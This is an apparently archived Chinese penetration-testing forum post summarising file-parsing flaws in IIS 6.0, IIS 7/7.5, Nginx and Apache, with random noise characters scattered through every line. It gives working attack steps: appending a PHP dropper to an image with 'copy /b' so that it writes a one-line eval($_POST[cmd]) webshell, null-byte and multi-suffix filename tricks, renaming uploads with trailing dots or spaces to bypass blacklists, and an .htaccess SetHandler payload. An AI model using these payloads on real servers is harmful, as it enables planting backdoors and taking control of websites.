中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain7 X# V  }; r; Z4 P4 l
[+]IIS6.0; f/ C( P2 g5 V
/ X, N! f$ t% }& Q( }7 K; D
目录解析:/xx.asp/xx.jpg
' m+ z% p3 |) s, u* H6 ]$ [/ ~1 |0 W xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
- g. B6 v3 G) J* N7 H; N) ^; A IIS6.0 会将 xx.jpg 解析为 asp 文件。- x6 H. C* W2 x# K- D/ i' }
后缀解析:/xx.asp;.jpg     
6 l6 ?1 X+ V' H& f& o IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
& B2 P8 N: D8 J/ j( x$ W默认解析:/xx.asa/ G* T: i8 ?2 b/ a1 v" K
         /xx.cer
9 E7 f& o% ~* M( |         /xx.cdx
! P3 i- x  V) b( r: O IIS6.0 默认的可执行文件除了 asp 还包含这三种6 ]( e% o$ X8 M1 d8 h  t" h
此处可联系利用目录解析漏洞 " T& s3 c# U& b  a) n! S: X6 {7 `" C
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
' H: a, P! _% ?* w1 `5 q% \( `/ B[+]IIS 7.0/IIS 7.5/Nginx <0.8.03' R. s5 Z- G- u
) c- J: _# f3 _  C
IIS 7.0/IIS 7.5/Nginx <0.8.03- l# U/ B/ E! e
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面6 u  d% v. R) v+ K
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。: h9 A5 a7 A# ]7 l" H# O7 E
常用利用方法:
, K: e! ]1 z+ Y6 @ 将一张图和一个写入后门代码的文本文件合并将恶意文本1 q% m- r4 e( C4 @, z
写入图片的二进制代码之后,避免破坏图片文件头和尾, c; Y# _' E7 ^2 e. @4 t
如:
: e* d- V8 {) @* ^! n8 B copy xx.jpg /b + yy.txt/a xy.jpg* B4 |: Y$ k* M- U0 ^* v
#########################################################
* z) }' V+ U( U; Z/ ^% m) [ /b 即二进制[binary]模式  i8 C+ R: b/ L& J
/a 即ascii模式
  T. I! E+ G' I$ D; Y( @ xx.jpg 正常图片文件
- [/ i! {; o% Z( T- K  N yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),  c2 ^8 T: i7 j$ V3 s+ Y6 n$ S, Z
'<?php eval($_POST[cmd])?>');?>. t+ N% v/ @+ i, ~. N$ Y6 S8 I
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
' I+ e" [  @4 y2 g 为shell.php的文件  n+ x0 M" a* n: n3 A
###########################################################
. ?, s2 U5 |! l: Q 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php - F. @& q) T' e# a9 b- b
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
: D% `$ g' ^( }- K( o" p2 [9 @ 密码 cmd
5 f0 y4 E; w/ l1 s% N. Z* E[+]Nginx <0.8.03
2 ~4 p$ `" @& z2 w: Q/ c2 {
) n+ P8 a$ z9 ^/ K  c1 Q# c& W 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞- ~* y; X( }- D; u( e. ~
在一个文件路径(/xx.jpg)后面加上%00.php7 x6 T" n9 s2 p9 x
会将 /xx.jpg%00.php 解析为 php 文件。$ s# U+ A8 b  j
[+]Apache<0.8.03
4 m: w# K# Z- S) z  T6 h6 E6 V
# U9 n/ ?8 @2 M 后缀解析:test.php.x1.x2.x3
( {) }8 ]- s7 I Apache将从右至左开始判断后缀,若x3非可识别后缀,( P8 ^* v% f7 V+ r" h
再判断x2,直到找到可识别后缀为止,然后将该可识别- u9 `. |9 b. w4 E" ^+ l* t
后缀进解析test.php.x1.x2.x3 则会被解析为php6 ^5 C2 A7 o9 u  a
经验之谈:php|php3|phtml 多可被Apache解析。
' ~8 O% d1 r8 i9 r6 O[+]其他一些可利用的
" `1 ^" F, n% B5 f6 ?5 N4 N( J 6 Z8 [: d2 ^% X  r& S* l: ?
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的7 \2 {1 C" ]/ L" F
若这样命名,windows会默认除去空格或点,这也是可以被利用的!1 n/ d8 ?) z  s6 E! V. Z# P1 g
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格$ ^; j9 d: T+ A
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可+ P2 W8 [- L, ^% s4 p
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
) G& _6 q3 U1 j  j; D{Linux主机中不行,Linux允许这类文件存在}+ o- C& Q  v, x4 s0 a2 M; ^
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说" [( p3 w8 w" u3 j5 I
的,当初我并不知道),且可以被上传,那可以尝试在( o, k' b+ }- D3 q6 [% L) b
.htaccess中写入:
7 s, @: S9 E+ U' ^& d' `<FilesMatch “shell.jpg”> 2 f5 v4 J. K9 Q+ B) ?2 X- f
SetHandler application/x-httpd-php $ Z- s) B# J1 p$ C
</FilesMatch>4 X; z. o# X  V1 t) @
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
1 G0 @* u- [( y& A[+]错误修改
6 T' I; J- [& O: w
7 W- j7 ?2 M! J5 ]5 \在 IIS 6.0 下可解析 /xx.asp:.jpg/ a3 A6 ?" r4 G5 X+ \
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去! d2 ?9 W; W6 n
剩下/xx.asp}修改:
$ d5 q0 w' g9 z) G先谢谢核攻击的提醒
, m$ P* i/ ]9 h) d2 }/ C当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp* T1 `& Z6 o3 J/ r( g
里是没有任何内容的,因为。。不好解释 大家自己看4 [2 [6 x5 C; I3 d
http://lcx.cc/?i=2448. o0 T# y0 g5 [( L6 g
http://baike.baidu.com/view/3619593.htm: t) `2 t/ A2 Z7 D, Q6 t, T

; M0 w- A1 f+ X( v% O1 ?




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2